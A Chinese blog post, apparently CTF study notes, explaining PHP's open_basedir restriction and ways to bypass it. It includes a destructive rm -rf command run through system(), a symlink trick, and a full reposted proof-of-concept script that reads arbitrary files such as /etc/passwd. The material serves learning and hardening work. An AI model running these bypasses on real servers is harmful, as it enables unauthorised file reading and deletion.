刷题碰到了PHP的open_basedir限制,第一次遇见就好好学习下!
# 0×00 基础知识
Open_basedir是PHP中为了防御PHP跨目录进行文件(目录)读取而设置的方法,所有关于文件读写的函数都会经过open_basedir的检查。Open_basedir中集合了很多的目录,open_basedir定义好以后,当PHP使用如fopen()或file_get_contents()打开一个文件时,文件的位置会被open_basedir检查,当文件的的位置在目录树之外,会被拒绝访问。其不受安全模式的影响。
假如open_basedir=/var/html/www/web/:/sql/那么通过web服务器就无法访问/var/html/www/web/和/sql这两个目录以外的文件。
这里有几点需要注意:
1.open_basedir所限制的目录只是一个前缀,而不是完整的目录名。比如上面我们限制的是/var/html/www/web/那么/var/html/www/web/和/var/html/www/web1/等前缀都有web的文件是可以访问的。
2.Windows下不同目录的分割是”;”,而Linux下不同目录的分割是以”:”,.就代表了当前的目录。
如下是在php.ini默认配置和说明:php<br />; open_basedir, if set, limits all file operations to the defined directory<br />; and below. This directive makes most sense if used in a per-directory<br />; or per-virtualhost web server configuration file. This directive is<br />; *NOT* affected by whether Safe Mode is turned On or Off.<br />; [http://php.net/open-basedir](http://php.net/open-basedir)<br />;open_basedir =<br />
open_basedir默认是不开启的,所以参数为空。
基础的结束了,该讲讲如何绕过了。
# 0×01 命令执行函数
因为open_basedir的设置只是对目录的限制,对system等命令执行函数是无效的,所以我们就可以使用命令执行函数来访问限制目录。
实验环境:kail_linux
先在root文件夹下创建test文件夹
并且创建一个1.txt内容123456,再在同目录下创建文件夹a
目录里有1.phpphp<br /><?php<br />echo file_get_contents("../1.txt");<br />?><br />
运行1.php
被open_basedir限制了
更改1.php的内容php<br /><?php<br /> system("rm -rf ../1.txt");<br />?><br />
再运行1.php
发现成功了,说明命令执行可以绕过open_basedir
0×02 symlink()绕过
symlink
(PHP 4, PHP 5, PHP 7, PHP 8)
symlink — 建立符号连接
说明
symlink ( string $target
, string $link
) : bool
symlink() 对于已有的 target
建立一个名为 link
的符号连接。
在Linux里symlink(),也叫软连接。软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。
在LinuxPHP的测试版本是7.3
在test目录下创建目录a和文本1.txt
1.txt内容makabaka
目录a下创建1.php<?php
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
symlink("c/d","tmplink");
symlink("tmplink/../../1.txt","exploit");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("root/test/a/exploit");
system("cat exploit");
?>
并且在php.ini里开启open_basedir
open_basedir = /root/test/a/
先用命令执行函数打开
由于open_basedir的限制,无法访问
再试一下1.php
成功打开1.txt,并且读取到了内容,绕过了open_basedir的目录限制。
我们来分析一下1.php的内容
前六步创建c/d目录,并将当前目录移至c/d目录下symlink("c/d/e","tmplink");
创建一个符号链接tmplink并且指向c/dsymlink("tmplink/../../1.txt","exploit");
tmplink仍然是符号链接所以就是c/d/e/../../1.txt符合open_basedir的限制,软连接就被成功建立
删除tmplink符号链接,创建一个tmplink文件夹,最后读取exploit
对于symlink()我们可以使用disable_function()将其禁掉。
附上大牛绕过open_basedir的POC:
<?php
/* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
0×03 glob协议
说明
glob: 数据流包装器自 PHP 5.3.0 起开始有效。
用法
属性 | 支持 |
---|---|
受限于 allow_url_fopen | No |
受限于 allow_url_include | No |
允许读取 | No |
允许写入 | No |
允许附加 | No |
允许同时读写 | No |
支持 stat() | No |
支持 unlink() | No |
支持 rename() | No |
支持 mkdir() | No |
支持 rmdir() | No |